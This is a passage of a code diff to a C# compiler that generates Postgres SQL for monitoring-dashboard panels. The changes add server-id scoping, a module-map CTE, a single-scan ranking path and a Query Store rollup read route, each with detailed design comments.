+            sql.Append(indent).Append("FROM ").Append(BuildFactRelation(plan.Measure.SourceTable, route, timeColumn, startParam, endParam, context, wideStartParam, pushableFilterClauses, hasServerScope ? FactScope() : null, restrictDedupe, edgeStartParam, edgeEndParam, plan.Aggregate, stampRelation));
 
             /* #3653 A6: a CAGG route's FROM-clause item (route.CaggFromClause) is already a complete, aliased
                relation — "collect.<x> AS f" or a stitched "(... UNION ALL ...) AS f" — so it must NOT get a
@@ -353,7 +590,7 @@ object_name resolves as m.object_name either way. */
             sql.Append(indent).Append("  AND ").Append(FactAlias).Append('.').Append(timeColumn).Append(endOperator).Append(endParam).Append('\n');
             if (hasServerScope)
             {
-                sql.Append(indent).Append("  AND ").Append(FactAlias).Append(".server_name = ANY(").Append(serverScopeParam).Append(")\n");
+                sql.Append(indent).Append("  AND ").Append(FactScope()).Append('\n');
             }
 
             foreach (var clause in filterClauses)
@@ -366,47 +603,111 @@ object_name resolves as m.object_name either way. */
            retained module_map instead (procedure_stats raw is dropped at 4d, so the CTE can't cover old windows). */
         if (plan.UsesModuleJoin && !route.IsCagg)
         {
-            /* Window-bounded AND scoped to the same server set — partitioned by (server_name, sql_handle) so a
-               handle reused across servers attributes per server, not globally. */
-            sql.Append("WITH ").Append(ModuleAlias).Append(" AS (\n");
+            /* The hourly-raw-edges route with a map watermark ranks only the recent overlay [floor, end] and takes every
+               older handle from collect.module_map. Without a watermark (or on any other route) the CTE ranks the whole
+               window, exactly as before.
+
+               Each (server_name, sql_handle) appears once in m: the overlay keeps rn = 1 per pair, the map's primary key
+               is that pair, and the NOT EXISTS drops a map row the overlay already carries, so the outer LEFT JOIN and
+               the group references are unchanged. A map row with last_seen before the window start is skipped, so a handle
+               with no procedure_stats row in the window still reads '(ad hoc)'. The map is forward-only, so a handle
+               renamed before the floor reads its newest name from the map and one renamed after it reads the overlay's.
+               A rename inside the last minute (the gap between the window end and now) can show the newer name, and so can a handle whose only procedure_stats row is in that
+               minute (it can show a name where the raw route shows (ad hoc)). */
+            var fromMap = moduleOverlayFloorParam is not null;
+            sql.Append("WITH ").Append(fromMap ? "m_recent" : ModuleAlias).Append(" AS (\n");
             sql.Append("    SELECT server_name, sql_handle, object_name, schema_name, database_name\n");
             sql.Append("    FROM (\n");
             sql.Append("        SELECT server_name, sql_handle, object_name, schema_name, database_name,\n");
             sql.Append("               ROW_NUMBER() OVER (PARTITION BY server_name, sql_handle ORDER BY collection_time DESC) AS rn\n");
             sql.Append("        FROM ").Append(PgSchemaGenerator.CollectSchema).Append(".procedure_stats\n");
-            sql.Append("        WHERE collection_time >= ").Append(startParam).Append('\n');
+            sql.Append("        WHERE collection_time >= ").Append(fromMap ? moduleOverlayFloorParam : startParam).Append('\n');
             sql.Append("          AND collection_time <= ").Append(endParam).Append('\n');
             if (hasServerScope)
             {
-                sql.Append("          AND server_name = ANY(").Append(serverScopeParam).Append(")\n");
+                sql.Append("          AND ").Append(ServerScope(string.Empty, serverScopeParam!, unregisteredParam)).Append('\n');
             }
 
             sql.Append("          AND sql_handle IS NOT NULL\n");
             sql.Append("          AND sql_handle <> ''\n");
             sql.Append("    ) ranked_modules\n");
             sql.Append("    WHERE rn = 1\n");
+            if (fromMap)
+            {
+                sql.Append("),\n");
+                sql.Append(ModuleAlias).Append(" AS (\n");
+                sql.Append("    SELECT server_name, sql_handle, object_name, schema_name, database_name FROM m_recent\n");
+                sql.Append("    UNION ALL\n");
+                sql.Append("    SELECT mm.server_name, mm.sql_handle, mm.object_name, mm.schema_name, mm.database_name\n");
+                sql.Append("    FROM ").Append(PgSchemaGenerator.CollectSchema).Append(".module_map AS mm\n");
+                sql.Append("    WHERE mm.last_seen >= ").Append(startParam).Append('\n');
+                if (hasServerScope)
+                {
+                    /* module_map is a small table keyed (server_name, sql_handle) with no server_id column, so it stays scoped by the
+                       scoped names (#5525). The fact rows are scoped by id, so a renamed server's pre-rename handles resolve through
+                       m_recent when the overlay covers them and read '(ad hoc)' when only this map would. */
+                    sql.Append("      AND mm.server_name = ANY(").Append(serverScopeParam).Append(")\n");
+                }
+
+                sql.Append("      AND NOT EXISTS (SELECT 1 FROM m_recent AS r WHERE r.server_name = mm.server_name AND r.sql_handle = mm.sql_handle)\n");
+            }
+
             sql.Append(")\n");
         }
 
         /* The #2734 rank pass: RankedTimeSeries prepends a CTE that IS the Ranked query minus the time
            column — the same fact rows, filters, and value expression, grouped by the dims alone, ordered
            by the window-total aggregate, LIMIT topN. The outer query then buckets ONLY those members.
+           Since #5582 a Query Store wide-route panel whose base CTE is bounded (PlanTakesSingleScan) reads the fact rows once:
+           the rank re-aggregates the one-row-per-(bucket, group) rank_base CTE over the groups alone and the series
+           re-aggregates the same CTE over (bucket, group). Every other panel scans the fact rows twice, as before.
            Ranking by the WINDOW TOTAL is the decided semantic (#2734 option 1): membership is stable
            across the window, so the chart reads as N lines. Per-bucket re-ranking is a non-goal — see the
            PanelMode doc. */
+        string BucketOfFact() => $"date_trunc('{MeasureCatalog.DateTruncField(effectiveBucket)}', {FactAlias}.{timeColumn})";
+
+        /* A single-scan statement reads the group columns of the base CTE by name; every other statement reads the
+           fact column. */
+        string DimRef(ComposeDimension dim) => singleScan ? $"{RankBaseAlias}.{dim.Name}" : GroupRef(dim);
+
+        if (singleScan)
+        {
+            /* The base CTE: the fact body, once, to one row per (bucket, group). The group columns are named as the rank CTE
+               names them; the partials are the sums, counts and extremes the aggregate re-combines (exactly: integer sums
+               and counts, min and max, never a double). The bucket and the group are the SAME expressions the series groups
+               on, so a series row is the combination of the base rows of its (bucket, group), and the rank row of its
+               group. Never the raw fact rows: at millions of them those would not fit the store's temp-file limit. */
+            sql.Append(sql.Length == 0 ? "WITH " : ", ").Append(RankBaseCte).Append(" AS (\n");
+            var baseSelects = new List<string> { BucketOfFact() + " AS bucket" };
+            baseSelects.AddRange(plan.GroupBy.Select(dim => GroupRef(dim) + " AS " + dim.Name));
+            baseSelects.AddRange(partials!.Columns.Select(column => column.Expression + " AS " + column.Name));
+            sql.Append("    SELECT ").Append(string.Join(", ", baseSelects)).Append('\n');
+            AppendFactBody("    ");
+            sql.Append("    GROUP BY ").Append(string.Join(", ", new[] { BucketOfFact() }.Concat(plan.GroupBy.Select(GroupRef)))).Append('\n');
+            sql.Append(")\n");
+        }
+
         if (plan.Mode == PanelMode.RankedTimeSeries)
         {
             sql.Append(sql.Length == 0 ? "WITH " : ", ").Append(RankCte).Append(" AS (\n");
             var rankSelects = new List<string>();
             foreach (var dim in plan.GroupBy)
             {
-                rankSelects.Add(GroupRef(dim) + " AS " + dim.Name);
+                rankSelects.Add(DimRef(dim) + " AS " + dim.Name);
             }
 
-            rankSelects.Add(BuildValueExpr(plan.Measure, plan.Aggregate, plan.Unit, route) + " AS value");
+            rankSelects.Add(PrimaryValue() + " AS value");
             sql.Append("    SELECT ").Append(string.Join(", ", rankSelects)).Append('\n');
-            AppendFactBody("    ");
-            sql.Append("    GROUP BY ").Append(string.Join(", ", plan.GroupBy.Select(GroupRef))).Append('\n');
+            if (singleScan)
+            {
+                sql.Append("    FROM ").Append(RankBaseCte).Append(" AS ").Append(RankBaseAlias).Append('\n');
+            }
+            else
+            {
+                AppendFactBody("    ");
+            }
+
+            sql.Append("    GROUP BY ").Append(string.Join(", ", plan.GroupBy.Select(DimRef))).Append('\n');
             /* NULLS LAST, because Postgres's DESC default is NULLS FIRST: a group whose aggregate is NULL
                (every in-window row's delta column NULL — a counter's first-ever collection, say) would
                otherwise outrank every REAL winner and silently occupy a series slot. Worse here than in
@@ -429,7 +730,7 @@ its own series the moment it won a top-N slot. The CTE is referenced more than o
         string? memberOfTopN = null;
         if (plan.Mode == PanelMode.RankedTimeSeries)
         {
-            var comparisons = plan.GroupBy.Select(d => $"t.{d.Name} IS NOT DISTINCT FROM {GroupRef(d)}");
+            var comparisons = plan.GroupBy.Select(d => $"t.{d.Name} IS NOT DISTINCT FROM {DimRef(d)}");
             memberOfTopN = $"EXISTS (SELECT 1 FROM {RankCte} AS t WHERE {string.Join(" AND ", comparisons)})";
         }
 
@@ -439,7 +740,9 @@ its own series the moment it won a top-N slot. The CTE is referenced more than o
 
         if (plan.Mode is PanelMode.TimeSeries or PanelMode.RankedTimeSeries)
         {
-            var bucketExpr = $"date_trunc('{MeasureCatalog.DateTruncField(effectiveBucket)}', {FactAlias}.{timeColumn})";
+            /* The base CTE already holds the bucket (and groups on the fact column it truncates), so a single-scan
+               statement reads it by name. */
+            var bucketExpr = singleScan ? $"{RankBaseAlias}.bucket" : BucketOfFact();
             selectExprs.Add(bucketExpr + " AS bucket");
             groupExprs.Add(bucketExpr);
         }
@@ -450,28 +753,36 @@ its own series the moment it won a top-N slot. The CTE is referenced more than o
                into the one "(other)" series (all its dim columns take the label), so the chart's buckets
                still sum to the window total. Without it, non-members are filtered out below instead. */
             var expr = plan.Mode == PanelMode.RankedTimeSeries && plan.IncludeOther
-                ? $"CASE WHEN {memberOfTopN} THEN {GroupRef(dim)} ELSE '{OtherSeriesLabel}' END"
-                : GroupRef(dim);
+                ? $"CASE WHEN {memberOfTopN} THEN {DimRef(dim)} ELSE '{OtherSeriesLabel}' END"
+                : DimRef(dim);
             selectExprs.Add(expr + " AS " + dim.Name);
             groupExprs.Add(expr);
         }
 
-        selectExprs.Add(BuildValueExpr(plan.Measure, plan.Aggregate, plan.Unit, route) + " AS value");
+        selectExprs.Add(PrimaryValue() + " AS value");
         if (plan.Overlay is ComposeOverlay overlay)
         {
             /* The second measure (#1606): one more select expression over the SAME fact rows — never a join,
                never a parameter, never a second query. Same route as the primary (the AND-gate above). */
-            selectExprs.Add(BuildValueExpr(overlay.Measure, overlay.Aggregate, overlay.Unit, route) + " AS value2");
+            selectExprs.Add((stampPlan is not null ? stampPlan.OverlayValue! : BuildValueExpr(overlay.Measure, overlay.Aggregate, overlay.Unit, route)) + " AS value2");
         }
 
         sql.Append("SELECT ").Append(string.Join(", ", selectExprs)).Append('\n');
-        AppendFactBody(string.Empty);
+        if (singleScan)
+        {
+            sql.Append("FROM ").Append(RankBaseCte).Append(" AS ").Append(RankBaseAlias).Append('\n');
+        }
+        else
+        {
+            AppendFactBody(string.Empty);
+        }
 
         if (plan.Mode == PanelMode.RankedTimeSeries && !plan.IncludeOther)
         {
             /* No residual requested: non-top-N rows are filtered out entirely (the chart under-reports the
-               window total by exactly what they did — the includeOther fold is the honest-total option). */
-            sql.Append("  AND ").Append(memberOfTopN).Append('\n');
+               window total by exactly what they did — the includeOther fold is the honest-total option). The
+               single-scan statement has no WHERE of its own (the window, scope and filters are in the base CTE). */
+            sql.Append(singleScan ? "WHERE " : "  AND ").Append(memberOfTopN).Append('\n');
         }
 
         if (groupExprs.Count > 0)
@@ -567,6 +878,28 @@ the LIMIT it evicted a legitimate member. */
     public static readonly IReadOnlyDictionary<string, ServerClock> NoServerClocks =
         new Dictionary<string, ServerClock>(StringComparer.Ordinal);
 
+    /// <summary>
+    /// The server scope predicate every fact read shares (#5525): <c>&lt;prefix&gt;server_id = ANY(ARRAY(SELECT reg.server_id FROM
+    /// collect.servers AS reg WHERE reg.server_name = ANY($names))))</c>. Every collector hypertable and every rollup compresses
+    /// segmented by <c>server_id</c>, which also leads the time index, and <c>server_name</c> is neither, so the old
+    /// <c>server_name = ANY($n)</c> read every compressed chunk in full and discarded most of it. The uncorrelated sub-select
+    /// is an InitPlan: Postgres evaluates it once, pushes the id list into each compressed chunk's segment filter (and through
+    /// the Query Store dedupe window, whose PARTITION BY carries <c>server_id</c>), and keeps this compiler free of a connection
+    /// and the parameter list unchanged. The text is <see cref="ServerScopeSql.Predicate"/>, shared with the hourly-edges count guard.
+    ///
+    /// <para><b>Semantics.</b> A scoped name means the server or servers the registry (<c>collect.servers</c>) holds under that name
+    /// NOW, with all of their rows. The registry holds one current <c>server_name</c> per <c>server_id</c> (a re-connect rewrites it),
+    /// and its only key is <c>server_id</c>, so a name can be held by two rows. Fact rows keep the name they were written under, so:
+    /// a renamed server's whole history is in the scope of its current name, where the old filter matched only the rows written under
+    /// that exact spelling; a name that a NEW server took over after a rename means the new server, and the old server's rows stored
+    /// under that name are no longer in that name's scope (they are in the scope of the old server's current name); a name held by
+    /// two registry rows means both servers, with every row of each, under every name it was written under. A scoped name with NO
+    /// registry row resolves to no id (the runner finds those, <see cref="ComposeRunContext.UnregisteredServers"/>), so those
+    /// names alone also match on the row's stored <c>server_name</c> through <paramref name="unregisteredParam"/>.</para>
+    /// </summary>
+    internal static string ServerScope(string prefix, string namesParam, string? unregisteredParam) =>
+        ServerScopeSql.Predicate(prefix, namesParam, unregisteredParam);
+
     /// <summary>
     /// The read that runs before a panel's <see cref="AnnotationClockFrame.ServerLocal"/> annotation query
     /// (#4821): each server's newest <c>server_properties</c> row that has an offset, with the
@@ -574,7 +907,8 @@ the LIMIT it evicted a legitimate member. */
     ///
     /// <para><c>server_properties</c> is indexed <c>(server_id, collection_time)</c> and NOT on
     /// <c>server_name</c>, so the <c>DISTINCT ON</c> sort has no index to ride. When the panel names its
-    /// servers, the same list the annotation query filters on bounds it, so the sort covers the requested
+    /// servers, the same list the annotation query filters on bounds it (by <c>server_id</c> since #5525, see
+    /// <see cref="ServerScope"/>; a renamed server then also yields its old-name rows), so the sort covers the requested
     /// servers instead of the whole fleet's retained history. A fleet-wide panel names none and reads every
     /// server, as the old in-query join did.</para>
     /// </summary>
@@ -592,7 +926,9 @@ public static ComposeCompiled CompileServerClockRead(ComposeRunContext context)
         sql.Append("WHERE utc_offset_minutes IS NOT NULL\n");
         if (context.Servers is { Count: > 0 })
         {
-            sql.Append("AND   server_name = ANY(").Append(p.AddTextArray(context.Servers)).Append(")\n");
+            var scopeParam = p.AddTextArray(context.Servers);
+            var unregisteredParam = context.UnregisteredServers is { Count: > 0 } ? p.AddTextArray(context.UnregisteredServers) : null;
+            sql.Append("AND   ").Append(ServerScope(string.Empty, scopeParam, unregisteredParam)).Append('\n');
         }
 
         sql.Append("ORDER BY server_name, collection_time DESC");
@@ -751,7 +1087,7 @@ private static string ServerLocalRangeJoin(ParamList p, string timeColumn, IRead
 
     /// <summary>Compiles one annotation source into its bounded, catalog-only, schema-qualified event query:
     /// <c>SELECT &lt;ts&gt; AS ts, f.&lt;labelCol&gt; AS label FROM collect.&lt;table&gt; AS f WHERE
-    /// &lt;ts&gt; BETWEEN $1 AND $2 [AND f.server_name = ANY($3)] ORDER BY ts LIMIT
+    /// &lt;ts&gt; BETWEEN $1 AND $2 [AND f.server_id = ANY(ARRAY(SELECT ... WHERE server_name = ANY($3)))] ORDER BY ts LIMIT
     /// &lt;MaxAnnotationEvents&gt;</c>. Every identifier is a catalog constant; every value is bound.
     ///
     /// <para><c>&lt;ts&gt;</c> is the bare <c>f.&lt;timeCol&gt;</c> for a UTC source and the de-skewed
@@ -772,6 +1108,7 @@ private static ComposeCompiled CompileAnnotation(
         var endParam = p.AddTimestamp(context.EndUtc);
         var hasServerScope = context.Servers is { Count: > 0 };
         var serverScopeParam = hasServerScope ? p.AddTextArray(context.Servers!) : null;
+        var unregisteredParam = hasServerScope && context.UnregisteredServers is { Count: > 0 } ? p.AddTextArray(context.UnregisteredServers) : null;
         var serverLocal = source.Frame == AnnotationClockFrame.ServerLocal;
 
         var ts = serverLocal
@@ -793,7 +1130,7 @@ private static ComposeCompiled CompileAnnotation(
         sql.Append("  AND ").Append(ts).Append(" <= ").Append(endParam).Append('\n');
         if (hasServerScope)
         {
-            sql.Append("  AND ").Append(FactAlias).Append(".server_name = ANY(").Append(serverScopeParam).Append(")\n");
+            sql.Append("  AND ").Append(ServerScope($"{FactAlias}.", serverScopeParam!, unregisteredParam)).Append('\n');
         }
 
         sql.Append("ORDER BY ts\n");
@@ -981,6 +1318,417 @@ private static string MeasuredDeltaFilter(ComposeMeasure measure)
             : "";
     }
 
+    /* ───────────────────────── the Query Store stamp route (#5582 part 3) ───────────────────────── */
+
+    private const string StampTable = "query_store_compose_stamp";
+    private const string StampBuiltTable = "query_store_compose_stamp_built";
+
+    /// <summary>The rollup column for <paramref name="partialExpression"/> (the partial's fact-form text, for example
+    /// <c>SUM(f.execution_count)</c>), or null when the rollup does not hold it, in which case the panel compiles the wide-table
+    /// text. Reads <see cref="QueryStoreComposeStamp.PartialColumnMap"/>, the one map the builder, the V173 DDL and this compiler
+    /// share (#5582). <c>COUNT(*)</c> is the rollup's <c>wide_rows</c>.</summary>
+    internal static string? StampColumnFor(string partialExpression) =>
+        QueryStoreComposeStamp.ColumnFor(partialExpression)?.Column;
+
+    /// <summary>The columns of the fact relation a stamp-mode panel may name: the rollup's key (the registry's name rides the
+    /// join). A group or filter on anything else compiles the wide-table text.</summary>
+    private static readonly string[] s_stampDimensionColumns = { "server_name", "database_name", "module_name", "query_hash" };
+
+    /// <summary>What a stamp-mode compile reads: the rollup columns (once each), and the primary and overlay values as the
+    /// combine form over them.</summary>
+    private sealed record StampPlan(IReadOnlyList<StampPartial> Partials, string PrimaryValue, string? OverlayValue);
+
+    /// <summary>The names the stamp relation is spelled with: its partial columns, the bound <c>$stampThrough</c>, and the server
+    /// scope predicate over the registry alias <c>s</c> (null for the fleet).</summary>
+    private sealed record StampRelation(IReadOnlyList<StampPartial> Partials, string ThroughParam, string? ScopeSql, string? LedgerScopeSql);
+
+    /// <summary>
+    /// Whether this compile reads the Query Store rollup (#5582 part 3), and the combine-form values it reads it with. Null (the
+    /// wide-table text, unchanged) unless ALL of these hold: the run is the Query Store wide route (not a rollup tier, not the
+    /// hourly-raw-edges route, no module join); the runner supplied a <see cref="ComposeRunContext.QueryStoreStampThrough"/> later
+    /// than the wide read's start (the later of the window start and <see cref="ComposeRunContext.QueryStoreWideStart"/>); every
+    /// group and filter column is one the rollup keeps; and every partial the primary measure (and the overlay, if any) needs
+    /// has a rollup column (<paramref name="stampColumns"/>), which also rules out an aggregate that does not decompose.
+    /// </summary>
+    private static StampPlan? TryPlanStamp(PanelPlan plan, ComposeRoute route, ComposeRunContext context, Func<string, string?> stampColumns)
+    {
+        if (!context.QueryStoreWideEligible
+            || context.QueryStoreStampThrough is not DateTime through
+            || route.IsCagg
+            || route.Tier == ComposeSourceTier.HourlyRawEdges
+            || plan.UsesModuleJoin
+            || !string.Equals(plan.Measure.SourceTable, QueryStoreTable, StringComparison.Ordinal))
+        {
+            return null;
+        }
+
+        var wideStart = context.QueryStoreWideStart is DateTime start && start > context.StartUtc ? start : context.StartUtc;
+        if (through <= wideStart)
+        {
+            return null;
+        }
+
+        foreach (var dimension in plan.GroupBy.Concat(plan.Filters.Select(f => f.Dimension)))
+        {
+            if (dimension.ViaModuleJoin || dimension.TrailingSpaceHistory
+                || !s_stampDimensionColumns.Contains(dimension.Column, StringComparer.Ordinal))
+            {
+                return null;
+            }
+        }
+
+        var partials = new PartialColumns(stampColumns, direct: true);
+        var primary = TryBuildPartialValueExpr(plan.Measure, plan.Aggregate, plan.Unit, partials);
+        if (primary is null)
+        {
+            return null;
+        }
+
+        string? overlayValue = null;
+        if (plan.Overlay is ComposeOverlay overlay)
+        {
+            if (!string.Equals(overlay.Measure.SourceTable, QueryStoreTable, StringComparison.Ordinal))
+            {
+                return null;
+            }
+
+            overlayValue = TryBuildPartialValueExpr(overlay.Measure, overlay.Aggregate, overlay.Unit, partials);
+            if (overlayValue is null)
+            {
+                return null;
+            }
+        }
+
+        return partials.Unmapped || partials.Stamped.Count == 0 ? null : new StampPlan(partials.Stamped, primary, overlayValue);
+    }
+
+    /// <summary>Whether <see cref="Compile"/> would read the Query Store rollup for this panel and context (#5582 part 3). The runner asks
+    /// before the guard, so the guard weights the rollup hours only for a panel whose text really reads them: a panel the rollup cannot
+    /// serve (a partial with no rollup column, a module-join group) compiles to the wide-table text and counts every hour at 1.0.</summary>
+    internal static bool ReadsStampRollup(PanelPlan plan, ComposeRunContext context) =>
+        TryPlanStamp(plan, ComposeSourceRouter.Resolve(plan, context.NowUtc, context.StartUtc, context.Rollups, context.Coverage), context, StampColumnFor) is not null;
+
+    /// <summary>One wide row as the partial <paramref name="partial"/> would be over just that row (the stale and tail arms):
+    /// the count is 1, a sum is the value as numeric, a count of a column is whether it is non-NULL, and the minimum and the
+    /// maximum are the value. Combining these over any set of rows gives the aggregate over those rows, exactly.</summary>
+    private static string PerRowPartial(StampPartial partial) => partial.Kind switch
+    {
+        PartialKind.CountStar => "1",
+        PartialKind.Sum => $"CAST({partial.Operand!(FactAlias)} AS numeric)",
+        PartialKind.Count => $"CAST(({partial.Operand!(FactAlias)} IS NOT NULL) AS integer)",
+        _ => partial.Operand!(FactAlias),
+    };
+
+    /// <summary>
+    /// The stamp-mode fact relation (#5582 part 3): ONE FROM item of partial rows with one column list (server_id, the three
+    /// dimensions, collection_time, server_name, then the partial columns), in three <c>UNION ALL</c> arms that together cover
+    /// <c>[wideStart, end]</c> exactly once:
+    /// <list type="number">
+    /// <item><b>rollup</b>: the rollup's rows in <c>[wideStart, $stampThrough)</c> of hours whose (server, hour) was built and has had no
+    /// late write since (<c>built_seq = late_seq</c>, a semi-join on the build ledger);</item>
+    /// <item><b>stale</b>: for each ledger pair in an hour of <c>[date_trunc('hour', wideStart), $stampThrough)</c> whose build is behind its
+    /// late writes (<c>built_seq IS DISTINCT FROM late_seq</c>), the wide rows of that server and hour inside the same bounds, each as
+    /// the partials of the one row (<c>CROSS JOIN LATERAL</c>, so the wide table is probed per pair);</item>
+    /// <item><b>tail</b>: the wide rows from <c>$stampThrough</c> (never the window start) through the window end, as partials.</item>
+    /// </list>
+    /// Every arm applies the server scope and the pushable dimension filters, over the registry join <c>s</c> and the fact-row alias
+    /// <c>f</c>, so the outer query's own WHERE finds nothing left to remove. The outer query keeps its window predicate as before.
+    /// </summary>
+    private static string BuildStampRelation(StampRelation stamp, string wideStartParam, string endParam, IReadOnlyList<string>? dimensionFilters)
+    {
+        var schema = PgSchemaGenerator.CollectSchema;
+        var through = stamp.ThroughParam;
+        var wide = $"{schema}.query_store_interval_wide";
+        var servers = $"{schema}.servers";
+        var built = $"{schema}.{StampBuiltTable}";
+        const string Head = "f.server_id, f.database_name, f.module_name, f.query_hash, f.collection_time, s.server_name";
+
+        var scopeAndFilters = (stamp.ScopeSql is null ? string.Empty : " AND " + stamp.ScopeSql)
+            + string.Concat((dimensionFilters ?? Array.Empty<string>()).Select(c => " AND " + c.Replace("f.server_name", "s.server_name", StringComparison.Ordinal)));
+        var rollupPartials = string.Concat(stamp.Partials.Select(x => $", f.{x.Column}"));
+        var rowPartials = string.Concat(stamp.Partials.Select(x => $", {PerRowPartial(x)} AS {x.Column}"));
+
+        var rollup = $"SELECT {Head}{rollupPartials} FROM {schema}.{StampTable} AS f JOIN {servers} AS s ON s.server_id = f.server_id "
+            + $"WHERE f.collection_time >= {wideStartParam} AND f.collection_time < {through} "
+            + $"AND EXISTS (SELECT 1 FROM {built} AS b WHERE b.server_id = f.server_id AND b.hour = date_trunc('hour', f.collection_time) AND b.built_seq = b.late_seq)"
+            + scopeAndFilters;
+
+        /* OFFSET 0 is an optimisation fence (#5582 part 3, found on a live plan): without it the planner pulls the lateral subquery up
+           into a plain join and may start from the wide table, scanning every wide row of the window and probing the ledger once per
+           row, which is the read this rollup exists to avoid. With it the ledger's stale pairs drive, and the wide table is probed once
+           per stale pair, so no stale pair means no wide read at all. */
+        var stale = $"SELECT {Head}{rowPartials} FROM {built} AS b "
+            + $"CROSS JOIN LATERAL (SELECT w.* FROM {wide} AS w WHERE w.server_id = b.server_id AND w.collection_time >= b.hour AND w.collection_time < b.hour + interval '1 hour' "
+            + $"AND w.collection_time >= {wideStartParam} AND w.collection_time < {through} OFFSET 0) AS f "
+            + $"JOIN {servers} AS s ON s.server_id = f.server_id "
+            + $"WHERE b.hour >= date_trunc('hour', {wideStartParam}) AND b.hour < {through} AND b.built_seq IS DISTINCT FROM b.late_seq"
+            /* The server scope on the LEDGER row too (#5582 part 3, found on a live plan): spelled only over the registry join it is applied
+               after the lateral, so every stale pair of every server cost a wide-table probe and a scoped panel paid for servers it never
+               asked about. On b it is applied before the lateral; the scope over s stays for the unregistered-name spelling. */
+            + (stamp.LedgerScopeSql is null ? string.Empty : " AND " + stamp.LedgerScopeSql)
+            + scopeAndFilters;
+
+        var tail = $"SELECT {Head}{rowPartials} FROM {wide} AS f JOIN {servers} AS s ON s.server_id = f.server_id "
+            + $"WHERE f.collection_time >= {through} AND f.collection_time <= {endParam}"
+            + scopeAndFilters;
+
+        return $"({rollup} UNION ALL {stale} UNION ALL {tail})";
+    }
+
+    private enum PartialKind { Sum, Count, CountStar, Min, Max }
+
+    /// <summary>One rollup column a stamp-mode panel reads: its name, what it aggregates, and the operand over a fact alias
+    /// (<c>w.execution_count</c>), which the wide arms spell as one row's partial.</summary>
+    private sealed record StampPartial(string Column, PartialKind Kind, Func<char, string>? Operand);
+
+    /// <summary>The partial aggregates a single-scan RankedTimeSeries base CTE computes (#5582): each is an aggregate
+    /// over fact columns (<c>SUM(f.execution_count)</c>) under a generated name (<c>p0</c>, <c>p1</c>, ...) the rank and the
+    /// series re-combine with <c>SUM</c>, <c>MIN</c> or <c>MAX</c>. An expression asked for twice is computed once.
+    ///
+    /// <para>In stamp mode (#5582 part 3) the fact rows are already partials, so each is read from its rollup column instead
+    /// (<paramref name="stampColumns"/> names it): the single-scan base CTE combines that column
+    /// (<c>SUM(f.ec_sum)</c>), and the direct form (<paramref name="direct"/>) is referenced as <c>f.ec_sum</c> by the value
+    /// expression itself. A partial with no rollup column sets <see cref="Unmapped"/>.</para></summary>
+    private sealed class PartialColumns
+    {
+        private readonly Dictionary<string, string> _nameByExpression = new(StringComparer.Ordinal);
+        private readonly Func<string, string?>? _stampColumns;
+        private readonly bool _direct;
+
+        public PartialColumns()
+        {
+            Alias = RankBaseAlias;
+        }
+
+        public PartialColumns(Func<string, string?> stampColumns, bool direct)
+        {
+            _stampColumns = stampColumns;
+            _direct = direct;
+            Alias = direct ? FactAlias : RankBaseAlias;
+        }
+
+        /// <summary>The alias the combining expression reads its partials through: the base CTE's, or the fact relation's.</summary>
+        public char Alias { get; }
+
+        public List<(string Name, string Expression)> Columns { get; } = new();
+
+        /// <summary>The rollup columns asked for, once each, in first-use order.</summary>
+        public List<StampPartial> Stamped { get; } = new();
+
+        public bool Unmapped { get; private set; }
+
+        /// <summary>The name <paramref name="kind"/> over <paramref name="operand"/> is read under, registered on first use.</summary>
+        public string Add(PartialKind kind, Func<char, string>? operand)
+        {
+            var expression = kind switch
+            {
+                PartialKind.CountStar => "COUNT(*)",
+                PartialKind.Sum => $"SUM({operand!(FactAlias)})",
+                PartialKind.Count => $"COUNT({operand!(FactAlias)})",
+                PartialKind.Min => $"MIN({operand!(FactAlias)})",
+                _ => $"MAX({operand!(FactAlias)})",
+            };
+
+            if (_stampColumns is null)
+            {
+                return NameFor(expression);
+            }
+
+            var column = _stampColumns(expression);
+            if (column is null)
+            {
+                Unmapped = true;
+                return "unmapped";
+            }
+
+            if (!Stamped.Exists(x => string.Equals(x.Column, column, StringComparison.Ordinal)))
+            {
+                Stamped.Add(new StampPartial(column, kind, operand));
+            }
+
+            if (_direct)
+            {
+                return column;
+            }
+
+            var combine = kind switch { PartialKind.Min => "MIN", PartialKind.Max => "MAX", _ => "SUM" };
+            return NameFor($"{combine}({FactAlias}.{column})");
+        }
+
+        private string NameFor(string expression)
+        {
+            if (!_nameByExpression.TryGetValue(expression, out var name))
+            {
+                name = "p" + Columns.Count.ToString(System.Globalization.CultureInfo.InvariantCulture);
+                _nameByExpression[expression] = name;
+                Columns.Add((name, expression));
+            }
+
+            return name;
+        }
+    }
+
+    /// <summary>
+    /// Whether this RankedTimeSeries compile may use the single-scan shape (#5582): the Query Store WIDE route, a plain
+    /// raw-tier FROM item (no CAGG, no hourly-raw-edges arms), every group a plain fact column (no module join, no trimmed
+    /// history spelling), and no overlay (a RankedTimeSeries panel never carries one; this is a guard, not a feature).
+    /// Everything else compiles today's two-scan text. The plan-level half of the test is <see cref="PlanTakesSingleScan"/>.
+    /// </summary>
+    private static bool CanSingleScan(PanelPlan plan, ComposeRoute route, ComposeRunContext context, double windowBuckets) =>
+        context.QueryStoreWideEligible
+        && !route.IsCagg
+        && route.Tier != ComposeSourceTier.HourlyRawEdges
+        && PlanTakesSingleScan(plan, windowBuckets, context.QueryStoreGroupMembers);
+
+    /// <summary>
+    /// The plan-level half of <see cref="CanSingleScan"/>, and the half the Query Store read guard asks before any context
+    /// exists (<see cref="RankedTimeSeriesScansFactRowsTwice"/>): a Query Store RankedTimeSeries plan whose single-scan base
+    /// CTE is BOUNDED and whose aggregate decomposes.
+    ///
+    /// <para><b>Why a bound at all (#5582).</b> The base CTE holds one row per (bucket, group). A large production store measured
+    /// 436 bytes of temp file per base row with every fact row its own group (the materialized CTE, the sort or hash spill that
+    /// builds it, and the rank's re-aggregation over it), against the compose session's 1 GB <c>temp_file_limit</c>, where the
+    /// two-scan text writes only what its rank aggregate over the groups spills. So the single scan is taken only when the number of rows is bounded by the plan:
+    /// buckets x groups, with at most <see cref="ComposeLimits.MaxSingleScanBuckets"/> buckets and no group dimension that is
+    /// as large as the fact rows. <c>query_hash</c> is that dimension (one member per statement), and it is the one the
+    /// "top N queries over time" panel groups by, so that panel keeps the two-scan text and the guard counts its second
+    /// scan. <c>database_name</c>, <c>module_name</c> and <c>server</c> are bounded by the fleet's databases, modules and
+    /// servers, and the runner counts them: <paramref name="groupMembers"/> is that count (null: unknown, so two scans).</para>
+    ///
+    /// <para><b>The bound is buckets x members (#5582).</b> A large production store measured 436 bytes of temp file per base row
+    /// (the rig's 150 to 180 was wrong), so 100 buckets x 30,000 module names, 3 million rows, would write about 1.3 GB against the
